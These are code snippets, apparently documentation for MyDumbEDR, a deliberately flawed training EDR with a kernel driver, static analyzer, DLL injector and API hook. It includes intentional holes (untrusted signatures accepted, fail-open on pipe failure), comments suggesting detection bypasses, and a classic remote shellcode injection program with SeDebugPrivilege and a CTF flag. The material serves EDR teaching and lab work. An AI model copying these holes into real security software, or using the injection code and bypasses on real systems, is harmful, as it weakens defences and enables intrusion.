### EDR Component Launch Scripts Source: https://context7.com/sensepost/mydumbedr/llms.txt Batch scripts for loading the kernel driver and starting userland EDR components. ```batch :: create.bat - Load the kernel driver sc create MyDumbEDR type= kernel binPath= C:\path\to\MyDumbEDRDriver.sys sc start MyDumbEDR :: launch.bat - Start userland components start "" "x64\Debug\MyDumbEDRStaticAnalyzer.exe" start "" "x64\Debug\MyDumbEDRRemoteInjector.exe" ``` -------------------------------- ### Register Process Creation Callback and Create Device Source: https://context7.com/sensepost/mydumbedr/llms.txt The driver entry point registers a process creation callback routine and creates a device object for userland communication. Ensure proper error handling for device and symbolic link creation. ```c #include #include #include #define MESSAGE_SIZE 2048 UNICODE_STRING DEVICE_NAME = RTL_CONSTANT_STRING(L"\Device\MyDumbEDR"); UNICODE_STRING SYM_LINK = RTL_CONSTANT_STRING(L"\??\MyDumbEDR"); // Process creation callback - receives notifications for all new processes void CreateProcessNotifyRoutine(PEPROCESS parent_process, HANDLE pid, PPS_CREATE_NOTIFY_INFO createInfo) { PEPROCESS process = NULL; PUNICODE_STRING processName = NULL; PsLookupProcessByProcessId(pid, &process); SeLocateProcessImageName(process, &processName); if (createInfo != NULL) { // Process is being created createInfo->CreationStatus = STATUS_SUCCESS; // Log process creation details DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "[MyDumbEDR] Process %wZ created, PID: %d\n", processName, pid); // Check if this is a suspicious binary (e.g., ShellcodeInject.exe) if (wcsstr(createInfo->ImageFileName->Buffer, L"ShellcodeInject.exe") != NULL) { // Check command line for suspicious patterns if (wcsstr(createInfo->CommandLine->Buffer, L"notepad.exe") != NULL) { createInfo->CreationStatus = STATUS_ACCESS_DENIED; return; } // Send binary to static analyzer via named pipe int analyzer_ret = analyze_binary(objFileDosDeviceName->Name.Buffer); if (analyzer_ret == 0) { // Request DLL injection for runtime monitoring int injector_ret = inject_dll((int)(intptr_t)pid); if (injector_ret != 0) { createInfo->CreationStatus = STATUS_ACCESS_DENIED; } } else { createInfo->CreationStatus = STATUS_ACCESS_DENIED; } } } } // Driver entry point - registers callback and creates device NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) { NTSTATUS status; PDEVICE_OBJECT DeviceObject; // Create device object for communication status = IoCreateDevice(DriverObject, 0, &DEVICE_NAME, FILE_DEVICE_UNKNOWN, 0, FALSE, &DeviceObject); if (!NT_SUCCESS(status)) return status; // Create symbolic link for userland access status = IoCreateSymbolicLink(&SYM_LINK, &DEVICE_NAME); if (!NT_SUCCESS(status)) { IoDeleteDevice(DeviceObject); return status; } // Register process creation callback status = PsSetCreateProcessNotifyRoutineEx(CreateProcessNotifyRoutine, FALSE); DriverObject->DriverUnload = UnloadMyDumbEDR; return status; } ``` -------------------------------- ### Implement DLL Injection Service with CreateRemoteThread Source: https://context7.com/sensepost/mydumbedr/llms.txt This C++ code sets up a named pipe server to receive process IDs. It then injects a specified DLL into the target process using the CreateRemoteThread and LoadLibraryA technique. Ensure the DLL path is correctly formatted and accessible by the injector process. ```cpp // MyDumbEDRRemoteInjector.cpp - DLL Injection via CreateRemoteThread #include #define MESSAGE_SIZE 2048 #define MAX_PATH 260 int main() { LPCWSTR pipeName = L"\\.\pipe\dumbedr-injector"; char dll_path[] = "x64\Debug\MyDumbEDRDLL.dll"; char dll_full_path[MAX_PATH]; GetFullPathNameA(dll_path, MAX_PATH, dll_full_path, NULL); printf("Injector ready, DLL: %s\n", dll_full_path); HANDLE hServerPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, PIPE_UNLIMITED_INSTANCES, MESSAGE_SIZE, MESSAGE_SIZE, 0, NULL); while (TRUE) { if (ConnectNamedPipe(hServerPipe, NULL)) { wchar_t message[MESSAGE_SIZE] = { 0 }; DWORD bytesRead; ReadFile(hServerPipe, &message, MESSAGE_SIZE, &bytesRead, NULL); DWORD target_pid = _wtoi(message); printf("~> Injecting into PID: %d\n", target_pid); // Open target process with injection privileges HANDLE hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, target_pid); if (hProcess == NULL) { printf("Failed to open process: %lu\n", GetLastError()); continue; } // Get LoadLibraryA address (same in all processes) FARPROC loadLibAddress = GetProcAddress( GetModuleHandle(L"kernel32.dll"), "LoadLibraryA"); // Allocate memory in target for DLL path LPVOID remoteBuf = VirtualAllocEx(hProcess, NULL, MAX_PATH, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Write DLL path to target process SIZE_T bytesWritten; WriteProcessMemory(hProcess, remoteBuf, dll_full_path, MAX_PATH, &bytesWritten); // Create remote thread calling LoadLibraryA(dll_path) HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibAddress, remoteBuf, 0, NULL); printf("Injection complete, thread handle: %p\n", hThread); VirtualFreeEx(hProcess, remoteBuf, MESSAGE_SIZE, MEM_RELEASE); CloseHandle(hThread); CloseHandle(hProcess); // Send success response wchar_t response[MESSAGE_SIZE] = { 0 }; swprintf_s(response, MESSAGE_SIZE, L"OK\0"); DWORD pipeBytes; WriteFile(hServerPipe, response, MESSAGE_SIZE, &pipeBytes, NULL); } DisconnectNamedPipe(hServerPipe); } } ``` -------------------------------- ### Binary Static Analysis Engine Source: https://context7.com/sensepost/mydumbedr/llms.txt This C++ code implements signature verification, IAT parsing for dangerous functions, and string searching for privilege escalation indicators. Note that the signature verification logic contains a vulnerability where untrusted signatures are incorrectly marked as valid. ```cpp // MyDumbEDRStaticAnalyzer.cpp - Static Analysis Engine #include #include #include #define MESSAGE_SIZE 2048 // Check if binary has embedded signature // BUG: Returns TRUE for ANY signed binary, even untrusted signatures BOOL VerifyEmbeddedSignature(const wchar_t* binaryPath) { WINTRUST_FILE_INFO FileData = { 0 }; FileData.cbStruct = sizeof(WINTRUST_FILE_INFO); FileData.pcwszFilePath = binaryPath; GUID WVTPolicyGUID = WINTRUST_ACTION_GENERIC_VERIFY_V2; WINTRUST_DATA WinTrustData = { 0 }; WinTrustData.cbStruct = sizeof(WinTrustData); WinTrustData.dwUIChoice = WTD_UI_NONE; WinTrustData.dwUnionChoice = WTD_CHOICE_FILE; WinTrustData.dwStateAction = WTD_STATEACTION_VERIFY; WinTrustData.pFile = &FileData; LONG lStatus = WinVerifyTrust(NULL, &WVTPolicyGUID, &WinTrustData); BOOL isSigned; switch (lStatus) { case ERROR_SUCCESS: isSigned = TRUE; break; // VULNERABILITY: Untrusted signatures still return TRUE case TRUST_E_EXPLICIT_DISTRUST: case TRUST_E_SUBJECT_NOT_TRUSTED: isSigned = TRUE; // Should be FALSE! break; case TRUST_E_NOSIGNATURE: isSigned = FALSE; break; default: isSigned = FALSE; } WinTrustData.dwStateAction = WTD_STATEACTION_CLOSE; WinVerifyTrust(NULL, &WVTPolicyGUID, &WinTrustData); return isSigned; } // Parse IAT to find dangerous injection functions // BYPASS: Use GetProcAddress for dynamic loading to evade this check BOOL ListImportedFunctions(const wchar_t* binaryPath) { BOOL isOpenProcessPresent = FALSE; BOOL isVirtualAllocExPresent = FALSE; BOOL isWriteProcessMemoryPresent = FALSE; BOOL isCreateRemoteThreadPresent = FALSE; HMODULE hModule = LoadLibraryEx(binaryPath, NULL, DONT_RESOLVE_DLL_REFERENCES); if (hModule != NULL) { IMAGE_NT_HEADERS* ntHeaders = ImageNtHeader(hModule); if (ntHeaders != NULL) { IMAGE_IMPORT_DESCRIPTOR* importDesc = (IMAGE_IMPORT_DESCRIPTOR*) ((BYTE*)hModule + ntHeaders->OptionalHeader.DataDirectory [IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); while (importDesc->Name != 0) { IMAGE_THUNK_DATA* thunk = (IMAGE_THUNK_DATA*) ((BYTE*)hModule + importDesc->OriginalFirstThunk); while (thunk->u1.AddressOfData != 0) { if (!(thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)) { IMAGE_IMPORT_BY_NAME* importByName = (IMAGE_IMPORT_BY_NAME*) ((BYTE*)hModule + thunk->u1.AddressOfData); if (strcmp("OpenProcess", importByName->Name) == 0) isOpenProcessPresent = TRUE; if (strcmp("VirtualAllocEx", importByName->Name) == 0) isVirtualAllocExPresent = TRUE; if (strcmp("WriteProcessMemory", importByName->Name) == 0) isWriteProcessMemoryPresent = TRUE; if (strcmp("CreateRemoteThread", importByName->Name) == 0) isCreateRemoteThreadPresent = TRUE; } thunk++; } importDesc++; } } FreeLibrary(hModule); } return (isOpenProcessPresent && isVirtualAllocExPresent && isWriteProcessMemoryPresent && isCreateRemoteThreadPresent); } // Search for SeDebugPrivilege string in binary // BYPASS: Strip binary or encode the string BOOL lookForSeDebugPrivilegeString(const wchar_t* filename) { FILE* file; _wfopen_s(&file, filename, L"rb"); if (file != NULL) { fseek(file, 0, SEEK_END); long file_size = ftell(file); rewind(file); char* buffer = (char*)malloc(file_size); if (buffer && fread(buffer, 1, file_size, file) == file_size) { const char* search_string = "SeDebugPrivilege"; for (int i = 0; i <= file_size - strlen(search_string); i++) { if (memcmp(&buffer[i], search_string, strlen(search_string)) == 0) { free(buffer); fclose(file); return TRUE; } } free(buffer); } fclose(file); } return FALSE; } // Main analysis loop - listens on named pipe int main() { ``` -------------------------------- ### Implement Named Pipe Server for MyDumbEDR Analyzer Source: https://context7.com/sensepost/mydumbedr/llms.txt This C++ code implements a named pipe server that listens for incoming executable paths. It analyzes the executables for specific security properties like SeDebugPrivilege, dangerous functions, and embedded signatures. Ensure the MESSAGE_SIZE is adequate for expected inputs. ```cpp LPCWSTR pipeName = L"\\.\pipe\dumbedr-analyzer"; HANDLE hServerPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, PIPE_UNLIMITED_INSTANCES, MESSAGE_SIZE, MESSAGE_SIZE, 0, NULL); while (TRUE) { if (ConnectNamedPipe(hServerPipe, NULL)) { wchar_t target_binary[MESSAGE_SIZE] = { 0 }; DWORD bytesRead; ReadFile(hServerPipe, &target_binary, MESSAGE_SIZE, &bytesRead, NULL); printf("~> Analyzing: %ws\n", target_binary); BOOL hasSeDebug = lookForSeDebugPrivilegeString(target_binary); BOOL hasDangerousFuncs = ListImportedFunctions(target_binary); BOOL isSigned = VerifyEmbeddedSignature(target_binary); wchar_t response[MESSAGE_SIZE] = { 0 }; // BUG: If signed, all other checks are bypassed! if (isSigned) { swprintf_s(response, MESSAGE_SIZE, L"OK\0"); } else if (hasDangerousFuncs || hasSeDebug) { swprintf_s(response, MESSAGE_SIZE, L"KO\0"); } else { swprintf_s(response, MESSAGE_SIZE, L"OK\0"); } DWORD bytesWritten; WriteFile(hServerPipe, response, MESSAGE_SIZE, &bytesWritten, NULL); } DisconnectNamedPipe(hServerPipe); } } ``` -------------------------------- ### Implement Named Pipe Communication Functions in C Source: https://context7.com/sensepost/mydumbedr/llms.txt Functions for sending binary paths to an analyzer and requesting DLL injection via named pipes. Note that these functions default to returning 0 if the pipe connection fails, effectively allowing the process to proceed. ```c // Driver.c - Named Pipe Communication Functions // Send binary path to StaticAnalyzer for analysis int analyze_binary(wchar_t* binary_file_path) { UNICODE_STRING pipeName; RtlInitUnicodeString(&pipeName, L"\\??\\pipe\\dumbedr-analyzer"); HANDLE hPipe; OBJECT_ATTRIBUTES fattrs = { 0 }; IO_STATUS_BLOCK io_stat_block; InitializeObjectAttributes(&fattrs, &pipeName, OBJ_CASE_INSENSITIVE | 0x0200, 0, NULL); // Open connection to named pipe NTSTATUS status = ZwCreateFile(&hPipe, FILE_WRITE_DATA | FILE_READ_DATA | SYNCHRONIZE, &fattrs, &io_stat_block, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, FILE_NON_DIRECTORY_FILE, NULL, 0); if (NT_SUCCESS(status)) { // Send binary path ZwWriteFile(hPipe, NULL, NULL, NULL, &io_stat_block, binary_file_path, MESSAGE_SIZE, NULL, NULL); ZwWaitForSingleObject(hPipe, FALSE, NULL); // Read response (OK or KO) wchar_t response[MESSAGE_SIZE] = { 0 }; ZwReadFile(hPipe, NULL, NULL, NULL, &io_stat_block, &response, MESSAGE_SIZE, NULL, NULL); ZwWaitForSingleObject(hPipe, FALSE, NULL); ZwClose(hPipe); return (wcscmp(response, L"OK\0") == 0) ? 0 : 1; } // Intentional bug: if analyzer unreachable, allow process return 0; } // Request DLL injection into target process int inject_dll(int pid) { UNICODE_STRING pipeName; RtlInitUnicodeString(&pipeName, L"\\??\\pipe\\dumbedr-injector"); HANDLE hPipe; OBJECT_ATTRIBUTES fattrs = { 0 }; IO_STATUS_BLOCK io_stat_block; InitializeObjectAttributes(&fattrs, &pipeName, OBJ_CASE_INSENSITIVE | 0x0200, 0, NULL); NTSTATUS status = ZwCreateFile(&hPipe, FILE_WRITE_DATA | FILE_READ_DATA | SYNCHRONIZE, &fattrs, &io_stat_block, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, FILE_NON_DIRECTORY_FILE, NULL, 0); if (NT_SUCCESS(status)) { wchar_t pid_to_inject[MESSAGE_SIZE] = { 0 }; swprintf_s(pid_to_inject, MESSAGE_SIZE, L"%d\0", pid); ZwWriteFile(hPipe, NULL, NULL, NULL, &io_stat_block, pid_to_inject, MESSAGE_SIZE, NULL, NULL); ZwWaitForSingleObject(hPipe, FALSE, NULL); wchar_t response[MESSAGE_SIZE] = { 0 }; ZwReadFile(hPipe, NULL, NULL, NULL, &io_stat_block, &response, MESSAGE_SIZE, NULL, NULL); ZwWaitForSingleObject(hPipe, FALSE, NULL); ZwClose(hPipe); return (wcscmp(response, L"OK\0") == 0) ? 0 : 1; } return 0; } ``` -------------------------------- ### Hook NtAllocateVirtualMemory with MinHook Source: https://context7.com/sensepost/mydumbedr/llms.txt Implements a DLL hook for NtAllocateVirtualMemory to detect and block PAGE_EXECUTE_READWRITE memory allocations. Requires the MinHook library and should be initialized in a separate thread to avoid DllMain deadlocks. ```c // dllmain.cpp - API Hooking with MinHook #include "pch.h" #include "minhook/include/MinHook.h" // Function prototype for NtAllocateVirtualMemory typedef DWORD(NTAPI* pNtAllocateVirtualMemory)( HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect ); // Pointer to original function (trampoline) pNtAllocateVirtualMemory pOriginalNtAllocateVirtualMemory = NULL; // Hooked function - intercepts all memory allocations DWORD NTAPI HookedNtAllocateVirtualMemory( HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect ) { // Detect RWX memory allocation (shellcode indicator) if (Protect == PAGE_EXECUTE_READWRITE) { MessageBox(NULL, L"Detected RWX memory allocation!", L"MyDumbEDR Alert", MB_OK); TerminateProcess(GetCurrentProcess(), 0xdeadb33f); } // Call original function for legitimate allocations return pOriginalNtAllocateVirtualMemory( ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect); } // Initialize hooks in separate thread (DllMain best practice) DWORD WINAPI InitHooksThread(LPVOID param) { // Initialize MinHook library if (MH_Initialize() != MH_OK) { return -1; } // Create hook for NtAllocateVirtualMemory in ntdll.dll MH_CreateHookApi( L"ntdll", // Target DLL "NtAllocateVirtualMemory", // Target function HookedNtAllocateVirtualMemory, // Our hook function (LPVOID*)(&pOriginalNtAllocateVirtualMemory) // Original function ptr ); // Enable all hooks MH_STATUS status = MH_EnableHook(MH_ALL_HOOKS); return status; } // DLL entry point BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) { switch (reason) { case DLL_PROCESS_ATTACH: // Disable thread notifications (optimization) DisableThreadLibraryCalls(hModule); // Start hook initialization in separate thread // (calling complex APIs from DllMain can cause deadlocks) HANDLE hThread = CreateThread(NULL, 0, InitHooksThread, NULL, 0, NULL); if (hThread != NULL) { CloseHandle(hThread); } break; } return TRUE; } ``` -------------------------------- ### Shellcode Injection Test Target Source: https://context7.com/sensepost/mydumbedr/llms.txt A C++ implementation that attempts to inject shellcode into notepad.exe to trigger EDR detection mechanisms. ```c // ShellcodeInject.cpp - Test shellcode injection (calc.exe payload) #include #include // Find process ID by name int get_process_id(wchar_t processName[]) { PROCESSENTRY32 entry = { 0 }; entry.dwSize = sizeof(PROCESSENTRY32); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); if (Process32First(snapshot, &entry)) { while (Process32Next(snapshot, &entry)) { if (wcscmp(entry.szExeFile, processName) == 0) { return entry.th32ProcessID; } } } return -1; } // Enable SeDebugPrivilege for cross-process access void enable_debug_privilege() { HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId()); HANDLE hToken; OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TOKEN_PRIVILEGES tp; LUID luid; LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid); tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); CloseHandle(hProcess); CloseHandle(hToken); } int main() { printf("Starting shellcode injection test\n"); // Wait for DLL hooks to initialize (race condition mitigation) Sleep(5000); enable_debug_privilege(); // Find notepad.exe wchar_t processName[] = L"notepad.exe"; int processId = get_process_id(processName); printf("Target PID: %d\n", processId); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId); // msfvenom calc.exe shellcode (benign demo payload) unsigned char shellcode[] = "\x48\x31\xc9\x48\x81\xe9..."; // truncated // Allocate RWX memory - THIS TRIGGERS THE HOOK! printf("Allocating RWX memory...\n"); PVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Write shellcode printf("Writing shellcode...\n"); WriteProcessMemory(hProcess, remoteBuffer, shellcode, sizeof(shellcode), NULL); // Execute shellcode printf("Creating remote thread...\n"); HANDLE remoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); printf("Success! Flag: MyDumbEDR{H4ckTH3W0rld}\n"); CloseHandle(hProcess); return 0; } ``` === COMPLETE CONTENT === This response contains all available snippets from this library. No additional content exists. Do not make further requests.